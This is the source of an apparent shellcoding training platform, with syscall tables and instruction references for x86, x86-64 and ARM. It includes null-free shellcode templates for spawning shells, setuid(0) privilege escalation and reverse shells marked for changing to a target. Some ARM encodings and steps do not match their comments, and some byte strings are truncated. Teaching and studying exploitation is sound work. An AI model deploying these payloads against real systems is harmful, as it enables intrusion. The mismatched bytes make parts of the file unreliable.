const { useState, useEffect, useRef, useCallback, useMemo } = React;
// ═══════════════════════════════════════════════════════════════
// SHELL//LAB — Assembly Language & Shellcoding Platform
// Kulprit Studios LLC
// ═══════════════════════════════════════════════════════════════
// ── Architecture Definitions ──
const ARCHS = {
x86: {
name: "x86 (IA-32)",
bits: 32,
color: "#00d4ff",
registers: ["eax","ebx","ecx","edx","esi","edi","esp","ebp","eip","eflags"],
gpr: ["eax","ebx","ecx","edx","esi","edi"],
special: { sp: "esp", bp: "ebp", ip: "eip", flags: "eflags" },
callingConv: "cdecl — args pushed right-to-left on stack. Caller cleans stack. Return in EAX.",
syscallMethod: "int 0x80",
syscallReg: "eax",
syscallArgs: ["ebx","ecx","edx","esi","edi","ebp"],
endian: "Little",
addressSize: "4 bytes",
syscalls: {
1: { name: "sys_exit", args: ["int status"] },
2: { name: "sys_fork", args: [] },
3: { name: "sys_read", args: ["uint fd","char *buf","size_t count"] },
4: { name: "sys_write", args: ["uint fd","char *buf","size_t count"] },
5: { name: "sys_open", args: ["char *filename","int flags","int mode"] },
6: { name: "sys_close", args: ["uint fd"] },
11: { name: "sys_execve", args: ["char *filename","char **argv","char **envp"] },
12: { name: "sys_chdir", args: ["char *path"] },
20: { name: "sys_getpid", args: [] },
23: { name: "sys_setuid", args: ["uid_t uid"] },
33: { name: "sys_access", args: ["char *filename","int mode"] },
37: { name: "sys_kill", args: ["pid_t pid","int sig"] },
45: { name: "sys_brk", args: ["unsigned long brk"] },
54: { name: "sys_ioctl", args: ["uint fd","uint cmd","unsigned long arg"] },
63: { name: "sys_dup2", args: ["uint oldfd","uint newfd"] },
66: { name: "sys_setsid", args: [] },
90: { name: "sys_mmap", args: ["void *addr","size_t len","int prot","int flags","int fd","off_t off"] },
91: { name: "sys_munmap", args: ["void *addr","size_t len"] },
102: { name: "sys_socketcall", args: ["int call","unsigned long *args"] },
120: { name: "sys_clone", args: ["unsigned long flags","void *stack","..."] },
125: { name: "sys_mprotect", args: ["void *addr","size_t len","int prot"] },
162: { name: "sys_nanosleep", args: ["struct timespec *req","struct timespec *rem"] },
175: { name: "sys_rt_sigprocmask", args: ["int how","sigset_t *set","sigset_t *oset"] },
252: { name: "sys_exit_group", args: ["int status"] },
359: { name: "sys_socket", args: ["int domain","int type","int protocol"] },
361: { name: "sys_bind", args: ["int fd","struct sockaddr *addr","int addrlen"] },
362: { name: "sys_connect", args: ["int fd","struct sockaddr *addr","int addrlen"] },
363: { name: "sys_listen", args: ["int fd","int backlog"] },
364: { name: "sys_accept4", args: ["int fd","struct sockaddr *addr","int *addrlen","int flags"] },
},
instructions: {
"Data Movement": [
{ op: "mov", syn: "mov dst, src", desc: "Copy src to dst", ex: "mov eax, 0x1" },
{ op: "push", syn: "push src", desc: "Push onto stack, ESP -= 4", ex: "push ebp" },
{ op: "pop", syn: "pop dst", desc: "Pop from stack, ESP += 4", ex: "pop ebp" },
{ op: "lea", syn: "lea dst, [addr]", desc: "Load effective address (no memory access)", ex: "lea eax, [ebx+ecx*4]" },
{ op: "xchg", syn: "xchg a, b", desc: "Swap values", ex: "xchg eax, ebx" },
{ op: "movzx", syn: "movzx dst, src", desc: "Move with zero-extend", ex: "movzx eax, al" },
{ op: "movsx", syn: "movsx dst, src", desc: "Move with sign-extend", ex: "movsx eax, al" },
],
"Arithmetic": [
{ op: "add", syn: "add dst, src", desc: "dst += src, sets CF/OF/ZF/SF", ex: "add eax, 0x10" },
{ op: "sub", syn: "sub dst, src", desc: "dst -= src, sets CF/OF/ZF/SF", ex: "sub esp, 0x40" },
{ op: "inc", syn: "inc dst", desc: "dst += 1 (preserves CF)", ex: "inc ecx" },
{ op: "dec", syn: "dec dst", desc: "dst -= 1 (preserves CF)", ex: "dec ecx" },
{ op: "mul", syn: "mul src", desc: "EDX:EAX = EAX × src (unsigned)", ex: "mul ebx" },
{ op: "imul", syn: "imul dst, src", desc: "Signed multiply", ex: "imul eax, ebx" },
{ op: "div", syn: "div src", desc: "EAX = EDX:EAX / src, EDX = remainder", ex: "div ecx" },
{ op: "neg", syn: "neg dst", desc: "Two's complement negate", ex: "neg eax" },
],
"Logic & Bitwise": [
{ op: "and", syn: "and dst, src", desc: "Bitwise AND", ex: "and eax, 0xFF" },
{ op: "or", syn: "or dst, src", desc: "Bitwise OR", ex: "or eax, 0x1" },
{ op: "xor", syn: "xor dst, src", desc: "Bitwise XOR (xor reg,reg = zero)", ex: "xor eax, eax" },
{ op: "not", syn: "not dst", desc: "Bitwise NOT (one's complement)", ex: "not eax" },
{ op: "shl", syn: "shl dst, cnt", desc: "Shift left (× 2^n)", ex: "shl eax, 2" },
{ op: "shr", syn: "shr dst, cnt", desc: "Logical shift right (/ 2^n unsigned)", ex: "shr eax, 1" },
{ op: "sar", syn: "sar dst, cnt", desc: "Arithmetic shift right (signed)", ex: "sar eax, 1" },
{ op: "rol", syn: "rol dst, cnt", desc: "Rotate left", ex: "rol eax, 8" },
{ op: "ror", syn: "ror dst, cnt", desc: "Rotate right", ex: "ror eax, 8" },
],
"Control Flow": [
{ op: "cmp", syn: "cmp a, b", desc: "Compute a - b, set flags, discard result", ex: "cmp eax, 0" },
{ op: "test", syn: "test a, b", desc: "Compute a AND b, set flags, discard result", ex: "test eax, eax" },
{ op: "jmp", syn: "jmp label", desc: "Unconditional jump", ex: "jmp _start" },
{ op: "je/jz", syn: "je label", desc: "Jump if ZF=1 (equal / zero)", ex: "je found" },
{ op: "jne/jnz", syn: "jne label", desc: "Jump if ZF=0 (not equal)", ex: "jne loop" },
{ op: "jg/jnle", syn: "jg label", desc: "Jump if greater (signed)", ex: "jg positive" },
{ op: "jl/jnge", syn: "jl label", desc: "Jump if less (signed)", ex: "jl negative" },
{ op: "ja/jnbe", syn: "ja label", desc: "Jump if above (unsigned)", ex: "ja higher" },
{ op: "jb/jnae", syn: "jb label", desc: "Jump if below (unsigned CF=1)", ex: "jb lower" },
{ op: "call", syn: "call label", desc: "Push EIP, jump to label", ex: "call myFunc" },
{ op: "ret", syn: "ret", desc: "Pop EIP, return to caller", ex: "ret" },
{ op: "nop", syn: "nop", desc: "No operation (0x90)", ex: "nop" },
{ op: "int", syn: "int n", desc: "Software interrupt", ex: "int 0x80" },
],
"String Operations": [
{ op: "rep movsb", syn: "rep movsb", desc: "Copy ECX bytes from ESI to EDI", ex: "rep movsb" },
{ op: "rep stosb", syn: "rep stosb", desc: "Fill ECX bytes at EDI with AL", ex: "rep stosb" },
{ op: "rep scasb", syn: "rep scasb", desc: "Scan ECX bytes at EDI for AL", ex: "repne scasb" },
],
},
shellcodeTemplates: {
"exit(0)": {
asm: `; exit(0) — x86 Linux
; sys_exit = 1
xor eax, eax ; zero eax (avoid null bytes)
xor ebx, ebx ; status = 0
mov al, 0x1 ; syscall number
int 0x80 ; invoke kernel`,
bytes: "31 c0 31 db b0 01 cd 80",
desc: "Clean process exit. XOR zeroing avoids null bytes in the opcode stream.",
nullFree: true,
},
"write(1, msg, len)": {
asm: `; write(1, "SHELL//LAB\\n", 11) — x86 Linux
; sys_write = 4
jmp short _call
_shellcode:
pop ecx ; ECX = address of string (from stack)
xor eax, eax
mov al, 0x4 ; sys_write
xor ebx, ebx
mov bl, 0x1 ; fd = stdout
xor edx, edx
mov dl, 0xb ; len = 11
int 0x80 ; write()
xor eax, eax
mov al, 0x1 ; sys_exit
xor ebx, ebx
int 0x80
_call:
call _shellcode
db "SHELL//LAB", 0x0a`,
bytes: "eb 15 59 31 c0 b0 04 31 db b3 01 31 d2 b2 0b cd 80 31 c0 b0 01 31 db cd 80 e8 e6 ff ff ff 53 48 45 4c 4c 2f 2f 4c 41 42 0a",
desc: "JMP-CALL-POP technique to get string address without hardcoding. Position-independent.",
nullFree: true,
},
"execve(/bin/sh)": {
asm: `; execve("/bin//sh", NULL, NULL) — x86 Linux
; sys_execve = 11 (0x0b)
xor eax, eax ; zero eax
push eax ; null terminator on stack
push 0x68732f2f ; "//sh" (extra / avoids null in push)
push 0x6e69622f ; "/bin"
mov ebx, esp ; EBX = pointer to "/bin//sh\\0"
xor ecx, ecx ; argv = NULL
xor edx, edx ; envp = NULL
mov al, 0xb ; sys_execve
int 0x80`,
bytes: "31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 31 c9 31 d2 b0 0b cd 80",
desc: "Classic Linux shellcode. Double-slash trick (/bin//sh) avoids null bytes while remaining valid path.",
nullFree: true,
},
"setuid(0) + execve": {
asm: `; setuid(0) + execve("/bin//sh") — x86 Linux
; Escalate to root then spawn shell
xor eax, eax
mov al, 0x17 ; sys_setuid (23)
xor ebx, ebx ; uid = 0 (root)
int 0x80 ; setuid(0)
; Now execve
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80`,
bytes: "31 c0 b0 17 31 db cd 80 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 31 c9 31 d2 b0 0b cd 80",
desc: "Drops to root before spawning shell. Useful when exploiting SUID binaries.",
nullFree: true,
},
"reverse shell": {
asm: `; TCP Reverse Shell — x86 Linux
; Connects back to 127.0.0.1:4444
; Uses socketcall() multiplexer
; 1. socket(AF_INET, SOCK_STREAM, 0)
xor eax, eax
xor ebx, ebx
push eax ; protocol = 0
push 0x1 ; SOCK_STREAM
push 0x2 ; AF_INET
mov ecx, esp ; args array
mov bl, 0x1 ; SYS_SOCKET
mov al, 0x66 ; sys_socketcall
int 0x80
mov esi, eax ; save sockfd
; 2. connect(sockfd, &addr, 16)
xor eax, eax
push eax ; padding
push 0x0100007f ; 127.0.0.1 (change for target)
push word 0x5c11 ; port 4444 (0x115c)
push word 0x2 ; AF_INET
mov ecx, esp ; sockaddr_in struct
push 0x10 ; addrlen = 16
push ecx ; &addr
push esi ; sockfd
mov ecx, esp
mov bl, 0x3 ; SYS_CONNECT
mov al, 0x66
int 0x80
; 3. dup2(sockfd, 0/1/2)
xor ecx, ecx
mov cl, 0x2
_dup_loop:
mov al, 0x3f ; sys_dup2
mov ebx, esi ; sockfd
int 0x80
dec cl
jns _dup_loop
; 4. execve("/bin//sh")
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80`,
bytes: "31 c0 31 db 50 6a 01 6a 02 89 e1 b3 01 b0 66 cd 80 89 c6 ...",
desc: "Full TCP reverse shell. Connects back, redirects stdin/stdout/stderr, execves /bin/sh. Modify IP/port for deployment.",
nullFree: false,
},
},
},
x64: {
name: "x86-64 (AMD64)",
bits: 64,
color: "#ff6b35",
registers: ["rax","rbx","rcx","rdx","rsi","rdi","rsp","rbp","rip","rflags","r8","r9","r10","r11","r12","r13","r14","r15"],
gpr: ["rax","rbx","rcx","rdx","rsi","rdi","r8","r9","r10","r11","r12","r13","r14","r15"],
special: { sp: "rsp", bp: "rbp", ip: "rip", flags: "rflags" },
callingConv: "System V AMD64 — args in RDI, RSI, RDX, RCX, R8, R9. Return in RAX. Caller saves RAX, RCX, RDX, RSI, RDI, R8-R11.",
syscallMethod: "syscall",
syscallReg: "rax",
syscallArgs: ["rdi","rsi","rdx","r10","r8","r9"],
endian: "Little",
addressSize: "8 bytes",
syscalls: {
0: { name: "sys_read", args: ["uint fd","char *buf","size_t count"] },
1: { name: "sys_write", args: ["uint fd","char *buf","size_t count"] },
2: { name: "sys_open", args: ["char *filename","int flags","int mode"] },
3: { name: "sys_close", args: ["uint fd"] },
9: { name: "sys_mmap", args: ["void *addr","size_t len","int prot","int flags","int fd","off_t off"] },
10: { name: "sys_mprotect", args: ["void *addr","size_t len","int prot"] },
11: { name: "sys_munmap", args: ["void *addr","size_t len"] },
21: { name: "sys_access", args: ["char *filename","int mode"] },
32: { name: "sys_dup", args: ["uint fd"] },
33: { name: "sys_dup2", args: ["uint oldfd","uint newfd"] },
35: { name: "sys_nanosleep", args: ["struct timespec *req","struct timespec *rem"] },
39: { name: "sys_getpid", args: [] },
41: { name: "sys_socket", args: ["int domain","int type","int protocol"] },
42: { name: "sys_connect", args: ["int fd","struct sockaddr *","int addrlen"] },
43: { name: "sys_accept", args: ["int fd","struct sockaddr *","int *addrlen"] },
49: { name: "sys_bind", args: ["int fd","struct sockaddr *","int addrlen"] },
50: { name: "sys_listen", args: ["int fd","int backlog"] },
56: { name: "sys_clone", args: ["unsigned long flags","void *stack","..."] },
57: { name: "sys_fork", args: [] },
59: { name: "sys_execve", args: ["char *filename","char **argv","char **envp"] },
60: { name: "sys_exit", args: ["int status"] },
62: { name: "sys_kill", args: ["pid_t pid","int sig"] },
80: { name: "sys_chdir", args: ["char *path"] },
82: { name: "sys_rename", args: ["char *oldname","char *newname"] },
87: { name: "sys_unlink", args: ["char *pathname"] },
96: { name: "sys_gettimeofday", args: ["struct timeval *tv","struct timezone *tz"] },
102: { name: "sys_getuid", args: [] },
105: { name: "sys_setuid", args: ["uid_t uid"] },
112: { name: "sys_setsid", args: [] },
157: { name: "sys_prctl", args: ["int option","unsigned long arg2","..."] },
231: { name: "sys_exit_group", args: ["int status"] },
257: { name: "sys_openat", args: ["int dfd","char *filename","int flags","int mode"] },
288: { name: "sys_accept4", args: ["int fd","struct sockaddr *","int *addrlen","int flags"] },
322: { name: "sys_execveat", args: ["int dfd","char *filename","char **argv","char **envp","int flags"] },
},
instructions: {
"Data Movement": [
{ op: "mov", syn: "mov dst, src", desc: "Copy src to dst (REX prefix for 64-bit)", ex: "mov rax, 0x1" },
{ op: "push", syn: "push src", desc: "Push onto stack, RSP -= 8", ex: "push rbp" },
{ op: "pop", syn: "pop dst", desc: "Pop from stack, RSP += 8", ex: "pop rbp" },
{ op: "lea", syn: "lea dst, [addr]", desc: "Load effective address", ex: "lea rdi, [rip+msg]" },
{ op: "movabs", syn: "movabs rax, imm64", desc: "Load 64-bit immediate", ex: "movabs rax, 0xdeadbeefcafebabe" },
{ op: "cdqe", syn: "cdqe", desc: "Sign-extend EAX to RAX", ex: "cdqe" },
{ op: "cqo", syn: "cqo", desc: "Sign-extend RAX to RDX:RAX", ex: "cqo" },
],
"Arithmetic": [
{ op: "add", syn: "add dst, src", desc: "dst += src", ex: "add rax, 0x10" },
{ op: "sub", syn: "sub dst, src", desc: "dst -= src", ex: "sub rsp, 0x40" },
{ op: "imul", syn: "imul dst, src, imm", desc: "Three-operand signed multiply", ex: "imul rax, rbx, 8" },
{ op: "inc/dec", syn: "inc dst", desc: "Increment/decrement (no REX.W single-byte)", ex: "inc rcx" },
],
"Logic & Bitwise": [
{ op: "and", syn: "and dst, src", desc: "Bitwise AND", ex: "and rax, 0xFF" },
{ op: "or", syn: "or dst, src", desc: "Bitwise OR", ex: "or rdi, rdi" },
{ op: "xor", syn: "xor dst, src", desc: "Bitwise XOR (zeroing idiom)", ex: "xor rax, rax" },
{ op: "shl/shr/sar", syn: "shl dst, cnt", desc: "Shift operations", ex: "shl rdi, 3" },
{ op: "bsf/bsr", syn: "bsf dst, src", desc: "Bit scan forward/reverse", ex: "bsf rax, rbx" },
{ op: "popcnt", syn: "popcnt dst, src", desc: "Count set bits", ex: "popcnt rax, rbx" },
],
"Control Flow": [
{ op: "cmp", syn: "cmp a, b", desc: "Compare (sets flags)", ex: "cmp rax, 0" },
{ op: "test", syn: "test a, b", desc: "AND test (sets flags)", ex: "test rdi, rdi" },
{ op: "jmp/jcc", syn: "je/jne/jg/jl label", desc: "Conditional jumps", ex: "je done" },
{ op: "call", syn: "call label", desc: "Push RIP, jump", ex: "call func" },
{ op: "ret", syn: "ret", desc: "Pop RIP", ex: "ret" },
{ op: "syscall", syn: "syscall", desc: "64-bit system call (fast)", ex: "syscall" },
{ op: "cmovcc", syn: "cmove dst, src", desc: "Conditional move (branchless)", ex: "cmovz rax, rbx" },
],
"SSE/Memory": [
{ op: "movdqa", syn: "movdqa xmm, m128", desc: "Move aligned 128-bit", ex: "movdqa xmm0, [rsp]" },
{ op: "movdqu", syn: "movdqu xmm, m128", desc: "Move unaligned 128-bit", ex: "movdqu xmm1, [rdi]" },
{ op: "pxor", syn: "pxor xmm, xmm", desc: "XOR 128-bit (zero XMM)", ex: "pxor xmm0, xmm0" },
],
},
shellcodeTemplates: {
"exit(0)": {
asm: `; exit(0) — x86-64 Linux
; sys_exit = 60
xor rdi, rdi ; status = 0
push 60
pop rax ; sys_exit (avoids null in mov rax, 60)
syscall`,
bytes: "48 31 ff 6a 3c 58 0f 05",
desc: "8 bytes. push/pop trick avoids the REX.W prefix overhead of mov rax, 60.",
nullFree: true,
},
"write(1, msg, len)": {
asm: `; write(1, "SHELL//LAB\\n", 11) — x86-64 Linux
; sys_write = 1
jmp short _call
_shellcode:
pop rsi ; RSI = address of string
xor rax, rax
mov al, 0x1 ; sys_write
mov rdi, rax ; fd = 1 (stdout)
xor rdx, rdx
mov dl, 0xb ; len = 11
syscall
xor rax, rax
mov al, 60 ; sys_exit
xor rdi, rdi
syscall
_call:
call _shellcode
db "SHELL//LAB", 0x0a`,
bytes: "eb 1a 5e 48 31 c0 b0 01 48 89 c7 48 31 d2 b2 0b 0f 05 48 31 c0 b0 3c 48 31 ff 0f 05 e8 e1 ff ff ff 53 48 45 4c 4c 2f 2f 4c 41 42 0a",
desc: "JMP-CALL-POP for x64. Note REX.W prefixes (0x48) on 64-bit register operations.",
nullFree: true,
},
"execve(/bin/sh)": {
asm: `; execve("/bin/sh", NULL, NULL) — x86-64 Linux
; sys_execve = 59
xor rsi, rsi ; argv = NULL
push rsi ; null terminator
mov rdi, 0x68732f6e69622f ; "/bin/sh" in little-endian
push rdi
mov rdi, rsp ; RDI = pointer to "/bin/sh\\0"
xor rdx, rdx ; envp = NULL
push 59
pop rax ; sys_execve
syscall`,
bytes: "48 31 f6 56 48 bf 2f 62 69 6e 2f 73 68 00 57 48 89 e7 48 31 d2 6a 3b 58 0f 05",
desc: "Note: movabs has a null byte in the '/bin/sh' string. See null-free variant below for exploit use.",
nullFree: false,
},
"execve (null-free)": {
asm: `; execve("/bin//sh", NULL, NULL) — x86-64 null-free
xor rsi, rsi
mul rsi ; RAX=RDX=0
push rax ; null terminator
mov rbx, 0x68732f2f6e69622f ; "/bin//sh"
push rbx
mov rdi, rsp
mov al, 59 ; sys_execve
syscall`,
bytes: "48 31 f6 48 f7 e6 50 48 bb 2f 62 69 6e 2f 2f 73 68 53 48 89 e7 b0 3b 0f 05",
desc: "Null-free variant using mul for triple-zero and double-slash path trick. 24 bytes.",
nullFree: true,
},
"reverse shell": {
asm: `; TCP Reverse Shell — x86-64 Linux
; Connects to 127.0.0.1:4444
; socket(AF_INET, SOCK_STREAM, 0)
push 41
pop rax ; sys_socket
push 2
pop rdi ; AF_INET
push 1
pop rsi ; SOCK_STREAM
xor rdx, rdx ; protocol = 0
syscall
mov r12, rax ; save sockfd
; connect(sockfd, &addr, 16)
xor rax, rax
push rax ; padding
mov dword [rsp-4], 0x0100007f ; 127.0.0.1
mov word [rsp-6], 0x5c11 ; port 4444
mov word [rsp-8], 0x2 ; AF_INET
sub rsp, 8
mov rsi, rsp ; &sockaddr
push 42
pop rax ; sys_connect
mov rdi, r12 ; sockfd
push 16
pop rdx ; addrlen
syscall
; dup2(sockfd, 0/1/2)
push 2
pop rsi
_dup_loop:
push 33
pop rax ; sys_dup2
mov rdi, r12
syscall
dec rsi
jns _dup_loop
; execve("/bin//sh", NULL, NULL)
xor rsi, rsi
mul rsi
push rax
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
mov al, 59
syscall`,
bytes: "6a 29 58 6a 02 5f 6a 01 5e 48 31 d2 0f 05 49 89 c4 ...",
desc: "Full reverse shell. Modify IP at offset for target. Uses push/pop to avoid null bytes in syscall numbers.",
nullFree: false,
},
},
},
arm32: {
name: "ARM (AArch32)",
bits: 32,
color: "#39ff14",
registers: ["r0","r1","r2","r3","r4","r5","r6","r7","r8","r9","r10","r11","r12","sp","lr","pc","cpsr"],
gpr: ["r0","r1","r2","r3","r4","r5","r6","r7","r8","r9","r10","r11","r12"],
special: { sp: "sp (r13)", bp: "r11 (fp)", ip: "pc (r15)", flags: "cpsr" },
callingConv: "AAPCS — args in R0-R3. Return in R0. R4-R11 callee-saved. LR (R14) = return address.",
syscallMethod: "svc #0",
syscallReg: "r7",
syscallArgs: ["r0","r1","r2","r3","r4","r5"],
endian: "Bi-endian (usually Little)",
addressSize: "4 bytes",
syscalls: {
1: { name: "sys_exit", args: ["int status"] },
2: { name: "sys_fork", args: [] },
3: { name: "sys_read", args: ["uint fd","char *buf","size_t count"] },
4: { name: "sys_write", args: ["uint fd","char *buf","size_t count"] },
5: { name: "sys_open", args: ["char *filename","int flags","int mode"] },
6: { name: "sys_close", args: ["uint fd"] },
11: { name: "sys_execve", args: ["char *filename","char **argv","char **envp"] },
20: { name: "sys_getpid", args: [] },
23: { name: "sys_setuid", args: ["uid_t uid"] },
37: { name: "sys_kill", args: ["pid_t pid","int sig"] },
45: { name: "sys_brk", args: ["unsigned long brk"] },
54: { name: "sys_ioctl", args: ["uint fd","uint cmd","unsigned long arg"] },
63: { name: "sys_dup2", args: ["uint oldfd","uint newfd"] },
66: { name: "sys_setsid", args: [] },
90: { name: "sys_mmap", args: ["void *addr","size_t len","int prot","int flags","int fd","off_t off"] },
125: { name: "sys_mprotect", args: ["void *addr","size_t len","int prot"] },
162: { name: "sys_nanosleep", args: ["struct timespec *req","struct timespec *rem"] },
248: { name: "sys_exit_group", args: ["int status"] },
281: { name: "sys_socket", args: ["int domain","int type","int protocol"] },
282: { name: "sys_bind", args: ["int fd","struct sockaddr *addr","int addrlen"] },
283: { name: "sys_connect", args: ["int fd","struct sockaddr *addr","int addrlen"] },
284: { name: "sys_listen", args: ["int fd","int backlog"] },
285: { name: "sys_accept", args: ["int fd","struct sockaddr *addr","int *addrlen"] },
},
instructions: {
"Data Processing": [
{ op: "mov", syn: "mov Rd, Op2", desc: "Move (can use barrel shifter)", ex: "mov r0, #0" },
{ op: "mvn", syn: "mvn Rd, Op2", desc: "Move NOT (bitwise invert)", ex: "mvn r0, #0 ; r0 = 0xFFFFFFFF" },
{ op: "add", syn: "add Rd, Rn, Op2", desc: "Add (3-operand form)", ex: "add r0, r1, r2" },
{ op: "adc", syn: "adc Rd, Rn, Op2", desc: "Add with carry", ex: "adc r1, r1, #0" },
{ op: "sub", syn: "sub Rd, Rn, Op2", desc: "Subtract", ex: "sub sp, sp, #64" },
{ op: "rsb", syn: "rsb Rd, Rn, Op2", desc: "Reverse subtract (Op2 - Rn)", ex: "rsb r0, r0, #0 ; negate" },
{ op: "mul", syn: "mul Rd, Rn, Rm", desc: "Multiply (32-bit result)", ex: "mul r0, r1, r2" },
{ op: "cmp", syn: "cmp Rn, Op2", desc: "Compare (sets flags, no result)", ex: "cmp r0, #0" },
{ op: "cmn", syn: "cmn Rn, Op2", desc: "Compare negative (Rn + Op2)", ex: "cmn r0, #1" },
{ op: "tst", syn: "tst Rn, Op2", desc: "Test bits (AND, sets flags)", ex: "tst r0, #1" },
{ op: "and", syn: "and Rd, Rn, Op2", desc: "Bitwise AND", ex: "and r0, r0, #0xFF" },
{ op: "orr", syn: "orr Rd, Rn, Op2", desc: "Bitwise OR", ex: "orr r0, r0, #0x80" },
{ op: "eor", syn: "eor Rd, Rn, Op2", desc: "Bitwise XOR", ex: "eor r0, r0, r0 ; zero" },
{ op: "bic", syn: "bic Rd, Rn, Op2", desc: "Bit clear (AND NOT)", ex: "bic r0, r0, #0xF" },
],
"Barrel Shifter": [
{ op: "lsl", syn: "mov Rd, Rn, lsl #n", desc: "Logical shift left", ex: "mov r0, r1, lsl #2 ; r0 = r1*4" },
{ op: "lsr", syn: "mov Rd, Rn, lsr #n", desc: "Logical shift right (unsigned)", ex: "mov r0, r1, lsr #3" },
{ op: "asr", syn: "mov Rd, Rn, asr #n", desc: "Arithmetic shift right (signed)", ex: "mov r0, r1, asr #1 ; divide by 2" },
{ op: "ror", syn: "mov Rd, Rn, ror #n", desc: "Rotate right", ex: "mov r0, r0, ror #8" },
{ op: "rrx", syn: "mov Rd, Rn, rrx", desc: "Rotate right through carry (1 bit)", ex: "mov r0, r0, rrx" },
{ op: "Op2 shift", syn: "add Rd, Rn, Rm, lsl #n", desc: "Any data op can shift its 2nd operand", ex: "add r0, r0, r1, lsl #2 ; r0 += r1*4" },
],
"Memory": [
{ op: "ldr", syn: "ldr Rd, [Rn, #off]", desc: "Load register (word)", ex: "ldr r0, [sp, #4]" },
{ op: "str", syn: "str Rd, [Rn, #off]", desc: "Store register (word)", ex: "str r0, [sp]" },
{ op: "ldrb/strb", syn: "ldrb Rd, [Rn]", desc: "Load/store byte", ex: "ldrb r1, [r0]" },
{ op: "ldrh/strh", syn: "ldrh Rd, [Rn]", desc: "Load/store halfword (16-bit)", ex: "ldrh r0, [r1, #2]" },
{ op: "ldm/stm", syn: "ldmia Rn!, {regs}", desc: "Load/store multiple (IA/IB/DA/DB)", ex: "ldmia sp!, {r4-r11, pc}" },
{ op: "push/pop", syn: "push {regs}", desc: "Stack push/pop (STMDB/LDMIA sp! aliases)", ex: "push {r4-r7, lr}" },
{ op: "ldr Rd, =imm", syn: "ldr r0, =0x12345678", desc: "Pseudo-instruction: load any 32-bit constant from literal pool", ex: "ldr r0, =0xDEADBEEF" },
{ op: "adr", syn: "adr Rd, label", desc: "PC-relative address (limited range)", ex: "adr r0, string_data" },
],
"Branch": [
{ op: "b", syn: "b label", desc: "Branch (±32MB range)", ex: "b loop" },
{ op: "bl", syn: "bl label", desc: "Branch with link (saves PC to LR)", ex: "bl printf" },
{ op: "bx", syn: "bx Rn", desc: "Branch exchange — bit[0] selects ARM(0) or Thumb(1)", ex: "bx lr" },
{ op: "blx", syn: "blx Rn", desc: "Branch with link and exchange", ex: "blx r3" },
{ op: "b.cond", syn: "beq/bne/bgt/blt/bge/ble/bhi/bls/bcs/bcc label", desc: "Conditional branch (14 conditions)", ex: "bne loop" },
{ op: "svc", syn: "svc #imm", desc: "Supervisor call — triggers syscall", ex: "svc #0" },
],
"Conditional & Thumb": [
{ op: "{cond}", syn: "moveq r0, #1", desc: "Any ARM instruction can be conditional (EQ/NE/GT/LT/GE/LE/HI/LS/CS/CC/MI/PL/VS/VC/AL)", ex: "addne r0, r0, #1" },
{ op: "it/ite", syn: "ite eq", desc: "If-Then block for Thumb-2 conditional execution", ex: "ite eq; moveq r0,#1; movne r0,#0" },
{ op: ".thumb", syn: ".thumb", desc: "Assembler directive: emit Thumb (16-bit) instructions", ex: ".syntax unified\\n.thumb" },
{ op: "adds/subs", syn: "adds Rd, Rn, #imm3", desc: "Thumb narrow ALU ops (set flags, small imm only)", ex: "adds r0, #1" },
],
},
shellcodeTemplates: {
"exit(0)": {
asm: `; exit(0) — ARM32
mov r0, #0 ; status = 0
mov r7, #1 ; sys_exit
svc #0`,
bytes: "00 00 a0 e3 01 70 a0 e3 00 00 00 ef",
desc: "Minimal ARM32 exit. 12 bytes. Note: ARM 32-bit fixed encoding naturally contains 0x00 bytes — Thumb mode avoids this.",
nullFree: false,
},
"write(1, msg, len)": {
asm: `; write(1, "SHELL//LAB", 10) — ARM32
mov r0, #1 ; fd = stdout
adr r1, msg ; buf = pointer to string
mov r2, #10 ; count = 10
mov r7, #4 ; sys_write
svc #0
mov r0, #0 ; status = 0
mov r7, #1 ; sys_exit
svc #0
msg:
.ascii "SHELL//LAB"`,
bytes: "01 00 a0 e3 10 10 8f e2 0a 20 a0 e3 04 70 a0 e3 00 00 00 ef 00 00 a0 e3 01 70 a0 e3 00 00 00 ef 53 48 45 4c 4c 2f 2f 4c 41 42",
desc: "ARM32 write syscall with embedded string data. Uses ADR (PC-relative) for string address.",
nullFree: false,
},
"execve(/bin/sh) Thumb": {
asm: `.syntax unified
.thumb
; execve("/bin/sh", NULL, NULL) — ARM Thumb
; Thumb mode avoids null bytes in ARM encoding
mov r0, pc ; R0 = current PC
adds r0, #12 ; point past code to string
eor r1, r1, r1 ; argv = NULL
eor r2, r2, r2 ; envp = NULL
mov r7, #11 ; sys_execve
svc #1 ; supervisor call
.ascii "/bin/sh"`,
bytes: "78 46 08 30 49 40 52 40 07 27 01 df 2f 62 69 6e 2f 73 68",
desc: "Thumb mode shellcode — 16-bit instructions avoid null bytes common in 32-bit ARM encoding.",
nullFree: true,
},
"setuid(0)+execve": {
asm: `.syntax unified
.thumb
; setuid(0) + execve("/bin/sh") — ARM Thumb
eor r0, r0, r0 ; uid = 0
mov r7, #23 ; sys_setuid
svc #1
mov r0, pc ; R0 = PC
adds r0, #12 ; point to string
eor r1, r1, r1 ; argv = NULL
eor r2, r2, r2 ; envp = NULL
mov r7, #11 ; sys_execve
svc #1
.ascii "/bin/sh"`,
bytes: "40 40 17 27 01 df 78 46 08 30 49 40 52 40 0b 27 01 df 2f 62 69 6e 2f 73 68",
desc: "Privilege escalation: drops to root with setuid(0) before spawning shell. Thumb mode for null-free encoding.",
nullFree: true,
},
"reverse shell": {
asm: `; Reverse shell — ARM32 (connect-back)
; socket(AF_INET, SOCK_STREAM, 0)
mov r0, #2 ; AF_INET
mov r1, #1 ; SOCK_STREAM
eor r2, r2, r2 ; protocol = 0
mov r7, #125 ; __NR_socket (via socketcall on older, direct on newer)
add r7, #156 ; 281 = __NR_socket
svc #0
mov r6, r0 ; save socket fd
; dup2(fd, 0/1/2) — redirect stdio
mov r1, #2 ; start with stderr
dup_loop:
mov r0, r6 ; fd = socket
mov r7, #63 ; sys_dup2
svc #0
subs r1, r1, #1
bpl dup_loop
; connect(fd, &addr, 16)
; execve("/bin/sh", NULL, NULL)
mov r0, r6
eor r1, r1, r1
eor r2, r2, r2
mov r7, #11 ; sys_execve
svc #0`,
